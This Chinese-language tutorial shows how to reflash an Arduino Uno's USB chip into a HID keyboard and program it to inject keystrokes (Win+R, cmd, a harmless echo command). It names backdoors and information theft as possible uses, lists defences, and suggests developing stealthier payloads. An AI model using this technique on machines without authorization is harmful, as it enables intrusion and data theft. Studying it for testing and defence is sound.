Arduino实现HID攻击详细教学文档

1. Arduino基础介绍

Arduino是一个开源物理计算平台，基于一系列单片机电路板，用于开发交互式设备。主要组成部分包括：

• 硬件：各种型号的开发板（如Arduino Uno）
• 软件：Arduino IDE开发环境
• 社区：活跃的开发者和用户群体

1.1 Arduino Uno电源供应方式

• 最简单方式：通过USB电缆直接连接计算机
• 其他供电方式：外部电源适配器或电池

1.2 Arduino编程基础

1. 下载并安装Arduino IDE：https://www.arduino.cc/en/Main/Software
2. 基本程序结构包含两个关键函数：
   • setup()：初始化开发板设置（只执行一次）
   • loop()：主程序逻辑（循环执行）

示例：让内置LED灯闪烁的程序

void setup() {
  pinMode(LED_BUILTIN, OUTPUT);
}

void loop() {
  digitalWrite(LED_BUILTIN, HIGH);
  delay(1000);
  digitalWrite(LED_BUILTIN, LOW);
  delay(1000);
}

2. 将Arduino改装为HID键盘设备

2.1 原理说明

通过修改Arduino Uno上的Atmega8U2芯片固件，使其从串行通信设备变为HID键盘设备。使用设备固件更新(DFU)协议直接编程。

2.2 所需工具和文件

1. dfu-programmer：用于DFU模式编程的工具
2. Arduino-keyboard-0.3.hex：HID键盘固件
3. Arduino-usbserial-uno.hex：原始串行通信固件

这些文件可在GitHub等平台找到。

2.3 操作步骤

步骤1：验证8u2/16u2芯片是否重置

• 检查Arduino IDE中的串行端口列表
• 如果串口设备不再出现在列表中，表示重置成功

步骤2：刷写HID键盘固件

1. 擦除当前固件：

   dfu-programmer at90usb82 erase
   

2. 刷写串行通信固件（用于后续程序上传）：

   dfu-programmer at90usb82 flash --debug 1 Arduino-usbserial.hex
   

3. 重置设备：

   dfu-programmer at90usb82 reset
   

4. 验证新设备：检查Arduino IDE中的串行端口是否重新出现
5. 使用Arduino IDE上传自定义程序到开发板
6. 再次擦除固件：

   dfu-programmer at90usb82 erase
   

7. 刷写HID键盘固件：

   dfu-programmer at90usb82 flash --debug 1 Arduino-keyboard-0.3.hex
   

8. 重置设备：

   dfu-programmer at90usb82 reset
   

3. HID攻击演示代码

3.1 攻击原理

编写程序使Arduino模拟键盘自动输入，例如：

• 执行Win+R打开运行对话框
• 输入cmd打开命令提示符
• 执行系统命令或PowerShell脚本

3.2 示例攻击流程

1. 插入改装后的Arduino设备
2. 设备自动模拟键盘输入执行命令
3. 可能的攻击行为：
   • 打开系统后门
   • 执行恶意脚本
   • 窃取信息等

3.3 关键代码结构

（注：实际代码会根据具体攻击目标有所不同）

#include "Keyboard.h"

void setup() {
  Keyboard.begin();
  delay(1000);
}

void loop() {
  // 按下Win+R
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();
  
  delay(500);
  
  // 输入cmd并回车
  Keyboard.print("cmd");
  Keyboard.write(KEY_RETURN);
  
  delay(1000);
  
  // 输入命令示例
  Keyboard.print("echo This is a demo attack");
  Keyboard.write(KEY_RETURN);
  
  // 防止循环执行
  while(1);
}

4. 防御措施

1. 禁用自动运行的USB设备
2. 使用设备控制策略限制未知USB设备
3. 监控系统异常输入行为
4. 物理防护，限制未知设备接入

5. 注意事项

1. 此类技术仅限合法授权测试使用
2. 实际攻击可能需要更复杂的规避技术
3. 不同Arduino型号操作可能有所差异
4. 固件版本更新可能导致兼容性问题

6. 扩展学习

1. 研究其他HID设备模拟（如鼠标）
2. 结合其他攻击向量（如BadUSB）
3. 开发更隐蔽的攻击载荷
4. 研究跨平台攻击技术

本教学文档仅用于教育目的，帮助理解相关技术原理及防御方法。未经授权对他人系统进行此类操作可能违反法律。